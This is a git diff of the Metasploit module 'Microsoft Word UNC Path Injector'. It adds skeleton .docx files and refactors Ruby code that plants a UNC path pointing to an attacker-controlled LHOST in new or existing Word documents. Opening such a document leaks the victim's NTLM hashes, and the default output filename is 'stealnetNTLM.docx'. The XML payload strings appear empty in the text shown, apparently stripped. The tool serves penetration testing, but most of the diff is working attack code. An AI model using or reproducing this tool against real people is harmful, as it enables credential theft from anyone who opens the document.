diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml
new file mode 100644
index 0000000000..39a9cb897f
--- /dev/null
+++ b/data/exploits/docx/[Content_Types].xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/_rels/.rels b/data/exploits/docx/_rels/.rels
new file mode 100644
index 0000000000..fdd8c4f371
--- /dev/null
+++ b/data/exploits/docx/_rels/.rels
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/docProps/app.xml b/data/exploits/docx/docProps/app.xml
new file mode 100644
index 0000000000..1580fc2d1a
--- /dev/null
+++ b/data/exploits/docx/docProps/app.xml
@@ -0,0 +1,2 @@
+
+normal.dot0103Microsoft Office Outlook000falsefalse0falsefalse12.0000
diff --git a/data/exploits/docx/word/_rels/document.xml.rels b/data/exploits/docx/word/_rels/document.xml.rels
new file mode 100644
index 0000000000..0079d06931
--- /dev/null
+++ b/data/exploits/docx/word/_rels/document.xml.rels
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/word/document.xml b/data/exploits/docx/word/document.xml
new file mode 100644
index 0000000000..81ef41e2f8
--- /dev/null
+++ b/data/exploits/docx/word/document.xml
@@ -0,0 +1,2 @@
+
+
diff --git a/data/exploits/docx/word/fontTable.xml b/data/exploits/docx/word/fontTable.xml
new file mode 100644
index 0000000000..20e9a398fe
--- /dev/null
+++ b/data/exploits/docx/word/fontTable.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/word/settings.xml b/data/exploits/docx/word/settings.xml
new file mode 100644
index 0000000000..4692c237a8
--- /dev/null
+++ b/data/exploits/docx/word/settings.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/word/styles.xml b/data/exploits/docx/word/styles.xml
new file mode 100644
index 0000000000..4a084626fc
--- /dev/null
+++ b/data/exploits/docx/word/styles.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/word/theme/theme1.xml b/data/exploits/docx/word/theme/theme1.xml
new file mode 100644
index 0000000000..a06c80529b
--- /dev/null
+++ b/data/exploits/docx/word/theme/theme1.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/data/exploits/docx/word/webSettings.xml b/data/exploits/docx/word/webSettings.xml
new file mode 100644
index 0000000000..b4a16977f7
--- /dev/null
+++ b/data/exploits/docx/word/webSettings.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb
index 95410ef7cf..147b3dfd0b 100644
--- a/modules/auxiliary/docx/word_unc_injector.rb
+++ b/modules/auxiliary/docx/word_unc_injector.rb
@@ -6,10 +6,13 @@
##
require 'msf/core'
-require 'zip/zip'
+require 'zip/zip' #for extracting files
+require 'rex/zip' #for creating files
class Metasploit3 < Msf::Auxiliary
+ include Msf::Exploit::FILEFORMAT
+
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Word UNC Path Injector',
@@ -22,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary
2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb
},
'License' => MSF_LICENSE,
- 'Version' => '$Revision: 1 $',
'References' =>
[
[ 'URL', 'http://jedicorp.com/?p=534' ],
@@ -35,114 +37,123 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
- OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']),
- OptString.new('SRCFILE', [false, '.docx file to backdoor. If left empty, creates an emtpy document', '']),
- OptString.new('SKLFILENAME', [false,'Document output filename', 'stealnetNTLM.docx']),
- OptPath.new('SKLOUTPUTPATH', [false, 'The location where the backdoored empty .docx file will be written','./']),
- OptString.new('SKLDOCAUTHOR',[false,'Document author for skeleton document', 'SphaZ']),
+ OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']),
+ OptString.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']),
+ OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']),
+ OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']),
], self.class)
end
-
- #here we create an empty .docx file with the UNC path. Only done when SRCFILE is empty
+ #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def makeNewFile
metadataFileData = ""
metadataFileData << ""
- metadataFileData << "#{datastore['SKLDOCAUTHOR']}#{datastore['SKLDOCAUTHOR']}"
+ metadataFileData << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}"
metadataFileData << "1"
metadataFileData << "2013-01-08T14:14:00Z"
metadataFileData << "2013-01-08T14:14:00Z"
- #Lets get the local filepath to figure out where we need to write the metadata file
- metadataFileName = File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml'
+ #where to find the skeleton files required for creating an empty document
+ dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
+ tmpDir = "#{Dir.tmpdir}/unc_tmp"
+
+ #setup temporary directory structure
begin
- if File.exists?(metadataFileName)
- vprint_status("Deleting metadatafile")
- File.delete(metadataFileName)
+ cleanupTmp(tmpDir)
+ FileUtils.mkdir_p("#{tmpDir}/docProps/")
+ FileUtils.mkdir_p("#{tmpDir}/word/_rels/")
+ rescue
+ print_error("Error generating temp directory structure.")
+ return nil
+ end
+
+ #here we store our on-the-fly created files
+ begin
+ f = File.open("#{tmpDir}/docProps/core.xml", 'wb')
+ f.write(metadataFileData)
+ f.close()
+ f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb')
+ f.write(@relsFileData)
+ f.close()
+ rescue
+ print_error("Cant write to temp file.")
+ cleanupTmp(tmpDir)
+ return nil
+ end
+
+ #making the actual docx
+ begin
+ docx = Rex::Zip::Archive.new
+ #add skeleton files
+ vprint_status("Adding skeleton files from #{dataDir}")
+ Dir["#{dataDir}/**/**"].each do |file|
+ if not File.directory?(file)
+ docx.add_file(file.sub(dataDir,''), File.read(file))
+ end
end
- fd = File.open( metadataFileName, 'wb+' )
- fd.puts(metadataFileData)
- fd.close
+ #add on-the-fly created documents
+ vprint_status("Adding injected files")
+ Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file|
+ if not File.directory?(file)
+ docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file))
+ end
+ end
+ #add the otherwise skipped "hidden" file
+ file = "#{dataDir}/_rels/.rels"
+ docx.add_file(file.sub(dataDir,''), File.read(file))
+ file_create(docx.pack)
rescue
- print_error("Cant write to #{metadataFileName} make sure module and data are intact")
+ print_error("Error creating empty document #{datastore['FILENAME']}")
+ cleanupTmp(tmpDir)
return nil
end
-
- #now lets write the _rels file that contains the UNC path
- refdataFileName = File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels'
- begin
- fd = File.open( refdataFileName, 'wb+' )
- fd.puts(@relsFileData)
- fd.close
- rescue
- print_error("Cant write to #{refdataFileName} make sure module and data are intact.")
- return nil
- end
-
- #and finally, lets creat the .docx file
- inputPath = File.dirname(self.file_path) + '/sourcedoc/'
- inputPath.sub!(%r[/S],'')
-
- archive = File.join(datastore['SKLOUTPUTPATH'], datastore['SKLFILENAME'])
- #if file exists, lets not overwrite
- if File.exists?(archive)
- print_error("Output file #{archive} already exists! Set a different name for SKLOUTPUTPATH and/or SKLFILENAME.")
- return nil
- end
-
- if zipDocx(inputPath, archive, false).nil?
- return nil
- end
-
- begin
- #delete the created xml files, the less evidence of parameters used the better
- File.delete(File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml')
- File.delete(File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels')
- rescue
- print_error("Error deleting local core and settings documents. Generating new file worked though")
- end
+
+ cleanupTmp(tmpDir)
return 0
end
+
+ #cleaning up of temporary files. If it fails we say so, but continue anyway
+ def cleanupTmp(dir)
+ begin
+ FileUtils.rm_rf(dir)
+ rescue
+ print_error("Error cleaning up tmp directory structure.")
+ end
+ end
- #this bit checks the settings.xml and looks for the relations file entry we need for our evil masterplan.
- #and then inserts the UNC path into the _rels file.
+ #here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulateFile
+ #where do we unpack our source file?
+ tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
ref = ""
- if File.exists?(datastore['SRCFILE'])
- if File.stat(datastore['SRCFILE']).readable? and File.stat(datastore['SRCFILE']).writable?
- vprint_status("We can read and write the file, this is probably a good thing :P")
- else
- print_error("Not enough rights to modify the file. Aborting.")
+ if File.exists?(datastore['SOURCE'])
+ if not File.stat(datastore['SOURCE']).readable?
+ print_error("Not enough rights to read the file. Aborting.")
return nil
end
- fileContent = getFileFromDocx("word/settings.xml")
- if fileContent.nil?
+ #lets extract our docx
+ if unzipDocx(tmpDir).nil?
return nil
- end
+ end
+ fileContent = File.read("#{tmpDir}/word/settings.xml")
+
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
- #and we put just our rels file into the docx
- if unzipDocx.nil?
+
+ #we put just our rels file into the docx
+ if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil?
return nil
end
- if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil?
- return nil
- end
- #ok we got through this, lets zip the file, overwriting the original in this case
- begin
- File.delete(datastore['SRCFILE'])
- if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil?
- return nil
- end
- rescue
- print_error("Can't modify the original document :(")
+
+ # lets zip the end result
+ if zipDocx(tmpDir).nil?
return nil
end
else
@@ -154,166 +165,128 @@ class Metasploit3 < Msf::Auxiliary
if not insertTwo.nil?
vprint_status("HypenationZone found, we use this for insertion.")
fileContent.insert(insertTwo, ref )
- end
+ end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
fileContent.insert(insertOne, ref )
- end
+ end
if insertOne.nil? && insertTwo.nil?
- vprint_error("Cannot find insert point for reference into settings.xml")
+ print_error("Cannot find insert point for reference into settings.xml")
+ cleanupTmp(tmpDir)
return nil
end
- if unzipDocx.nil?
+ #lets extract our docx
+ if unzipDocx(tmpDir).nil?
return nil
end
- #update the settings files
- if updateDocxFile("word/settings.xml",fileContent).nil?
+
+ #update the files that contain the injection and reference
+ if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil?
print_error("Error inserting data into word/settings.xml")
return nil
end
- if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil?
+ if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil?
print_error("Eror inserting data into word/_rels/settings.xml.rels")
return nil
end
- #ok we got through this, lets zip the file, overwriting the original in this case
- begin
- File.delete(datastore['SRCFILE'])
- if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil?
- return nil
- end
- rescue
- print_error("Can't modify the original document :(")
+
+ #lets zip the file
+ if zipDocx(tmpDir).nil?
return nil
end
end
else
- print_error("File #{datastore['SRCFILE']} does not exist. Aborting.")
+ print_error("File #{datastore['SOURCE']} does not exist.")
return nil
end
+ cleanupTmp(tmpDir)
return 0
end
- #read a file from .docx into a string
- def getFileFromDocx(fileString)
+ #making the actual docx
+ def zipDocx(tmpDir)
begin
- Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip|
- fileZip.each do |f|
- next unless f.to_s == fileString
- return f.get_input_stream.read
+ docx = Rex::Zip::Archive.new
+ #add skeleton files
+ vprint_status("Adding files from #{tmpDir}")
+ Dir["#{tmpDir}/**/**"].each do |file|
+ if not File.directory?(file)
+ docx.add_file(file.sub(tmpDir,''), File.read(file))
end
end
- fileZip.close
- print_error("Cant find #{fileString} inside the .docx")
- return nil
+ #add the otherwise skipped "hidden" file
+ file = "#{tmpDir}/_rels/.rels"
+ docx.add_file(file.sub(tmpDir,''), File.read(file))
+ file_create(docx.pack)
rescue
- print_error("Unknown error reading docx file.")
- fileZip.close
+ print_error("Error creating compressed document #{datastore['FILENAME']}")
+ cleanupTmp(tmpDir)
return nil
end
- fileZip.close
end
- def zipDocx(inputPath, archive, delsource)
+ #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
+ def unzipDocx(tmpDir)
begin
- #add the prepared files to the zip file
- Zip::ZipFile.open(archive, 'wb') do |fileZip|
- Dir["#{inputPath}/**/**"].reject{|f|f==archive}.each do |file|
- fileZip.add(file.sub(inputPath+'/',''), file)
- end
- relsFile = inputPath + '/_rels/.rels'
- fileZip.add(relsFile.sub(inputPath+'/',''), relsFile)
- end
- rescue
- print_error("Error zipping file..")
- begin
- FileUtils.rm_rf(inputPath)
- rescue
- print_error("Cant even clean up my own mess, I give up")
- return nil
- end
- return nil
- end
- #do we delete the source?
- if delsource
- begin
- FileUtils.rm_rf(inputPath)
- rescue
- print_error("Cant even clean up my own mess, I give up")
- end
- end
- return 0
- end
-
- def unzipDocx
- begin
- vprint_status("tmpdir: #{@tmpDir}")
- if not File.directory?(@tmpDir)
- vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SRCFILE']}")
- Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip|
+ if not File.directory?(tmpDir)
+ vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}")
+ Zip::ZipFile.open(datastore['SOURCE']) do |fileZip|
fileZip.each do |entry|
- if not entry.nil?
- vprint_status("extracting entry: #{entry.name}")
- end
- fpath = File.join(@tmpDir, entry.name)
+ fpath = File.join(tmpDir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
fileZip.extract(entry, fpath)
end
end
end
rescue
- print_error("There was an error unzipping")
+ print_error("There was an error unzipping.")
+ cleanupTmp(tmpDir)
return nil
end
return 0
end
#used for updating the files inside the docx from a string
- def updateDocxFile(fileString, content)
+ def updateDocxFile(tmpDir,fileString, content)
begin
- #ok so now we unpacked the docx file, lets start to update the file we need to do
- #does the file already exist?
- archive = File.join(@tmpDir, fileString)
+ archive = File.join(tmpDir, fileString)
vprint_status("We need to look for: #{archive}")
if File.exists?(archive)
vprint_status("Deleting original file #{archive}")
File.delete(archive)
end
- #now lets put OUR file there
File.open(archive, 'wb+') { |f| f.write(content) }
rescue Exception => ex
print_error("Well, extracting and manipulating the file went wrong :(")
+ cleanupTmp(tmpDir)
return nil
end
return 0
end
def run
- #we need this in in bot makeNewFile and manipulateFile
+ #we need this in makeNewFile and manipulateFile
@relsFileData = ""
@relsFileData << "".chomp
@relsFileData << "".chomp
@relsFileData << ""
- #where do we unpack our file?
- @tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
- if "#{datastore['SRCFILE']}" == ""
+ if "#{datastore['SOURCE']}" == ""
#make an empty file
print_status("Creating empty document")
if not makeNewFile.nil?
- print_good("Success! Document #{datastore['SKLFILENAME']} created in #{datastore['SKLOUTPUTPATH']}")
+ print_good("Success! Empty document #{datastore['FILENAME']} created.")
end
else
#extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.")
if not manipulateFile.nil?
- print_good("Success! Document #{datastore['SRCFILE']} now references to #{datastore['LHOST']}")
- else
- print_error("Something went wrong!")
+ print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
end
end
end